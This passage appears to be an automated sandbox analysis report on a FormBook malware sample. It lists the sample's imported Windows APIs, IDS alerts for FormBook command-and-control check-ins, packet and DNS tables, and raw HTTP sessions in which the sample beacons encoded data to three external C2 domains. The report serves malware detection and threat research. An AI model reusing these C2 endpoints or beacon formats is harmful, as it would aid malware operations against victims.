GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
                                              USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
                                              GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
                                              COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
                                              ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
                                              SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                              ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
                                              OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

                                              Possible Origin

                                              Language of compilation systemCountry where language is spokenMap
                                              EnglishGreat Britain

                                              Network Behavior

                                              Suricata IDS Alerts

                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                              2024-12-09T17:18:57.391536+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.949889108.179.253.19780TCP
                                              2024-12-09T17:18:57.391536+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.949889108.179.253.19780TCP
                                              2024-12-09T17:19:13.971844+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949925108.181.189.780TCP
                                              2024-12-09T17:19:16.822172+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949932108.181.189.780TCP
                                              2024-12-09T17:19:19.599532+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949940108.181.189.780TCP
                                              2024-12-09T17:19:22.108468+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.949948108.181.189.780TCP
                                              2024-12-09T17:19:22.108468+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.949948108.181.189.780TCP
                                              2024-12-09T17:19:28.863895+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94996413.248.169.4880TCP
                                              2024-12-09T17:19:31.511484+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94997013.248.169.4880TCP
                                              2024-12-09T17:19:34.349171+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94997713.248.169.4880TCP
                                              2024-12-09T17:19:37.014753+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.94998313.248.169.4880TCP
                                              2024-12-09T17:19:37.014753+01002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.94998313.248.169.4880TCP

                                              Network Port Distribution

                                              TCP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Dec 9, 2024 17:18:55.999192953 CET4988980192.168.2.9108.179.253.197
                                              Dec 9, 2024 17:18:56.118805885 CET8049889108.179.253.197192.168.2.9
                                              Dec 9, 2024 17:18:56.118912935 CET4988980192.168.2.9108.179.253.197
                                              Dec 9, 2024 17:18:56.129973888 CET4988980192.168.2.9108.179.253.197
                                              Dec 9, 2024 17:18:56.249298096 CET8049889108.179.253.197192.168.2.9
                                              Dec 9, 2024 17:18:57.335977077 CET8049889108.179.253.197192.168.2.9
                                              Dec 9, 2024 17:18:57.391535997 CET4988980192.168.2.9108.179.253.197
                                              Dec 9, 2024 17:19:02.336172104 CET8049889108.179.253.197192.168.2.9
                                              Dec 9, 2024 17:19:02.336291075 CET4988980192.168.2.9108.179.253.197
                                              Dec 9, 2024 17:19:02.337657928 CET4988980192.168.2.9108.179.253.197
                                              Dec 9, 2024 17:19:02.523320913 CET8049889108.179.253.197192.168.2.9
                                              Dec 9, 2024 17:19:12.681854010 CET4992580192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:12.801537991 CET8049925108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:12.801614046 CET4992580192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:12.816802979 CET4992580192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:12.939708948 CET8049925108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:13.971590996 CET8049925108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:13.971761942 CET8049925108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:13.971843958 CET4992580192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:13.971880913 CET8049925108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:13.971927881 CET4992580192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:14.329204082 CET4992580192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:15.347707987 CET4993280192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:15.473387957 CET8049932108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:15.473512888 CET4993280192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:15.489495039 CET4993280192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:15.609572887 CET8049932108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:16.818639040 CET8049932108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:16.822124958 CET8049932108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:16.822171926 CET4993280192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:16.822216988 CET8049932108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:16.822257996 CET4993280192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:17.000963926 CET4993280192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:18.020035982 CET4994080192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:18.139820099 CET8049940108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:18.139904022 CET4994080192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:18.155456066 CET4994080192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:18.275307894 CET8049940108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:18.275325060 CET8049940108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:19.598458052 CET8049940108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:19.599492073 CET8049940108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:19.599531889 CET4994080192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:19.599648952 CET8049940108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:19.599684954 CET4994080192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:19.657208920 CET4994080192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:20.676851034 CET4994880192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:20.796295881 CET8049948108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:20.796601057 CET4994880192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:20.806945086 CET4994880192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:20.926299095 CET8049948108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:22.108164072 CET8049948108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:22.108365059 CET8049948108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:22.108402014 CET8049948108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:22.108468056 CET4994880192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:22.108486891 CET4994880192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:22.114990950 CET4994880192.168.2.9108.181.189.7
                                              Dec 9, 2024 17:19:22.236164093 CET8049948108.181.189.7192.168.2.9
                                              Dec 9, 2024 17:19:27.609842062 CET4996480192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:27.729851961 CET804996413.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:27.729998112 CET4996480192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:27.750607014 CET4996480192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:27.870224953 CET804996413.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:28.863708973 CET804996413.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:28.863852024 CET804996413.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:28.863894939 CET4996480192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:29.266597033 CET4996480192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:30.285623074 CET4997080192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:30.407902956 CET804997013.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:30.408004999 CET4997080192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:30.422883987 CET4997080192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:30.542184114 CET804997013.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:31.507752895 CET804997013.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:31.507941008 CET804997013.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:31.511483908 CET4997080192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:31.938508987 CET4997080192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:32.957245111 CET4997780192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:33.236669064 CET804997713.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:33.236778021 CET4997780192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:33.256982088 CET4997780192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:33.429466963 CET804997713.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:33.429471970 CET804997713.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:34.338342905 CET804997713.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:34.349114895 CET804997713.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:34.349170923 CET4997780192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:34.766824007 CET4997780192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:35.785574913 CET4998380192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:35.905052900 CET804998313.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:35.905224085 CET4998380192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:35.914987087 CET4998380192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:36.034228086 CET804998313.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:37.014415026 CET804998313.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:37.014678955 CET804998313.248.169.48192.168.2.9
                                              Dec 9, 2024 17:19:37.014753103 CET4998380192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:37.060215950 CET4998380192.168.2.913.248.169.48
                                              Dec 9, 2024 17:19:37.179773092 CET804998313.248.169.48192.168.2.9

                                              UDP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Dec 9, 2024 17:18:55.262607098 CET6174153192.168.2.91.1.1.1
                                              Dec 9, 2024 17:18:55.990567923 CET53617411.1.1.1192.168.2.9
                                              Dec 9, 2024 17:19:12.364352942 CET5388853192.168.2.91.1.1.1
                                              Dec 9, 2024 17:19:12.679291010 CET53538881.1.1.1192.168.2.9
                                              Dec 9, 2024 17:19:27.129637957 CET5035453192.168.2.91.1.1.1
                                              Dec 9, 2024 17:19:27.606950045 CET53503541.1.1.1192.168.2.9

                                              DNS Queries

                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                              Dec 9, 2024 17:18:55.262607098 CET192.168.2.91.1.1.10x1b43Standard query (0)www.bloodbalancecaps.shopA (IP address)IN (0x0001)false
                                              Dec 9, 2024 17:19:12.364352942 CET192.168.2.91.1.1.10xe08cStandard query (0)www.jalan2.onlineA (IP address)IN (0x0001)false
                                              Dec 9, 2024 17:19:27.129637957 CET192.168.2.91.1.1.10x3ec8Standard query (0)www.avalanchefi.xyzA (IP address)IN (0x0001)false

                                              DNS Answers

                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                              Dec 9, 2024 17:17:31.868858099 CET1.1.1.1192.168.2.90x4b50No error (0)shed.dual-low.s-part-0035.t-0009.t-msedge.nets-part-0035.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                              Dec 9, 2024 17:17:31.868858099 CET1.1.1.1192.168.2.90x4b50No error (0)s-part-0035.t-0009.t-msedge.net13.107.246.63A (IP address)IN (0x0001)false
                                              Dec 9, 2024 17:18:55.990567923 CET1.1.1.1192.168.2.90x1b43No error (0)www.bloodbalancecaps.shopbloodbalancecaps.shopCNAME (Canonical name)IN (0x0001)false
                                              Dec 9, 2024 17:18:55.990567923 CET1.1.1.1192.168.2.90x1b43No error (0)bloodbalancecaps.shop108.179.253.197A (IP address)IN (0x0001)false
                                              Dec 9, 2024 17:19:12.679291010 CET1.1.1.1192.168.2.90xe08cNo error (0)www.jalan2.onlinejalan2.onlineCNAME (Canonical name)IN (0x0001)false
                                              Dec 9, 2024 17:19:12.679291010 CET1.1.1.1192.168.2.90xe08cNo error (0)jalan2.online108.181.189.7A (IP address)IN (0x0001)false
                                              Dec 9, 2024 17:19:27.606950045 CET1.1.1.1192.168.2.90x3ec8No error (0)www.avalanchefi.xyz13.248.169.48A (IP address)IN (0x0001)false
                                              Dec 9, 2024 17:19:27.606950045 CET1.1.1.1192.168.2.90x3ec8No error (0)www.avalanchefi.xyz76.223.54.146A (IP address)IN (0x0001)false

                                              HTTP Request Dependency Graph

                                              • www.bloodbalancecaps.shop
                                              • www.jalan2.online
                                              • www.avalanchefi.xyz

                                              HTTP Packets

                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              0192.168.2.949889108.179.253.197806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:18:56.129973888 CET544OUTGET /7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66U/gVo6YEkdyxhX4vgPFwxoIoJ2c6DSA== HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.bloodbalancecaps.shop
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Dec 9, 2024 17:18:57.335977077 CET560INHTTP/1.1 301 Moved Permanently
                                              Date: Mon, 09 Dec 2024 16:18:57 GMT
                                              Server: nginx/1.23.4
                                              Content-Type: text/html; charset=UTF-8
                                              Content-Length: 0
                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                              X-Redirect-By: WordPress
                                              Location: http://bloodbalancecaps.shop/7n6c/?tJ=iJE0gvFHj8PDX8qP&HvrT-t9X=ePeKNPyUeLpNn1usywRT/cMVaB/hHeJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66U/gVo6YEkdyxhX4vgPFwxoIoJ2c6DSA==
                                              X-Endurance-Cache-Level: 2
                                              X-nginx-cache: WordPress
                                              X-Server-Cache: true
                                              X-Proxy-Cache: MISS


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              1192.168.2.949925108.181.189.7806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:12.816802979 CET795OUTPOST /xu9o/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Origin: http://www.jalan2.online
                                              Referer: http://www.jalan2.online/xu9o/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 197
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 48 76 72 54 2d 74 39 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 5a 61 44 49 36 54 53 62 6c 71 66 57 73 56 72 4b 54 35 74 77 69 59 35 5a 30 39 7a 72 57 36 2b 51 66 54 78 4e 72 72 51 75 58 39 56 63 64 45 51 33 4c 4a 77 6e 38 36 78 35 55 56 74 4c 63 55 45 42 68 61 4c 6a 47 6e 77 6c 4d 72 30 69 4c 55 74 43 75 4a 4a 66 56 6c 57 33 4e 74 46 67 58 31 64 74 56 47 6f 30 2b 71 61 48 56 42 4b 6b 6a 38 52 6f 63 52 31 69 53 52 55 62 68 4b 69 4f 70 39 35 56 46 70 38 7a 69 49 6b 72 6d 49 7a 34 36 52 52 30 53 6f 48 6b 55 5a 6f 45 4b 56 4d 76 72 46 44 4a 69 2f 34 76 70 74 56 57 72 4c 64 55 41 39 48 2b
                                              Data Ascii: HvrT-t9X=V36Hnmii79e6ZaDI6TSblqfWsVrKT5twiY5Z09zrW6+QfTxNrrQuX9VcdEQ3LJwn86x5UVtLcUEBhaLjGnwlMr0iLUtCuJJfVlW3NtFgX1dtVGo0+qaHVBKkj8RocR1iSRUbhKiOp95VFp8ziIkrmIz46RR0SoHkUZoEKVMvrFDJi/4vptVWrLdUA9H+
                                              Dec 9, 2024 17:19:13.971590996 CET279INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              date: Mon, 09 Dec 2024 16:19:13 GMT
                                              server: LiteSpeed
                                              content-encoding: gzip
                                              vary: Accept-Encoding
                                              transfer-encoding: chunked
                                              connection: close
                                              Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                              Data Ascii: a
                                              Dec 9, 2024 17:19:13.971761942 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                              Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              2192.168.2.949932108.181.189.7806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:15.489495039 CET819OUTPOST /xu9o/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Origin: http://www.jalan2.online
                                              Referer: http://www.jalan2.online/xu9o/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 221
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 48 76 72 54 2d 74 39 58 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 4c 72 7a 49 34 31 61 62 77 61 66 56 6a 31 72 4b 61 5a 74 38 69 59 31 5a 30 2f 44 37 57 70 57 51 52 54 42 4e 36 5a 6f 75 51 39 56 63 57 6b 51 79 57 5a 77 75 38 36 39 48 55 51 56 4c 63 55 67 42 68 66 33 6a 42 55 6f 6d 50 62 30 67 53 45 74 41 7a 35 4a 66 56 6c 57 33 4e 75 35 47 58 31 56 74 56 58 59 30 2f 4c 61 45 54 78 4b 6a 31 73 52 6f 59 52 31 6d 53 52 56 49 68 4a 6d 6f 70 2f 42 56 46 6f 4d 7a 6a 5a 6b 6b 74 49 79 39 30 78 52 68 63 4c 79 78 51 70 73 53 45 44 55 4f 7a 45 54 56 6c 65 45 78 34 66 63 4e 2b 63 64 7a 48 61 4f 57 2f 6b 79 4d 4f 76 65 69 61 7a 64 30 32 39 58 32 41 58 41 31 64 77 3d 3d
                                              Data Ascii: HvrT-t9X=V36Hnmii79e6LrzI41abwafVj1rKaZt8iY1Z0/D7WpWQRTBN6ZouQ9VcWkQyWZwu869HUQVLcUgBhf3jBUomPb0gSEtAz5JfVlW3Nu5GX1VtVXY0/LaETxKj1sRoYR1mSRVIhJmop/BVFoMzjZkktIy90xRhcLyxQpsSEDUOzETVleEx4fcN+cdzHaOW/kyMOveiazd029X2AXA1dw==
                                              Dec 9, 2024 17:19:16.818639040 CET279INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              date: Mon, 09 Dec 2024 16:19:16 GMT
                                              server: LiteSpeed
                                              content-encoding: gzip
                                              vary: Accept-Encoding
                                              transfer-encoding: chunked
                                              connection: close
                                              Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                              Data Ascii: a
                                              Dec 9, 2024 17:19:16.822124958 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                              Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              3192.168.2.949940108.181.189.7806064C:\Program Files (x86)\gXVCqRNOzOibuFXiseqZQlBHuSkWCDrzLlwHFybcUlDmIqNrdAwDnshXcPEsdGYRebR\hcwvcDPvVeAzsY.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 17:19:18.155456066 CET1832OUTPOST /xu9o/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
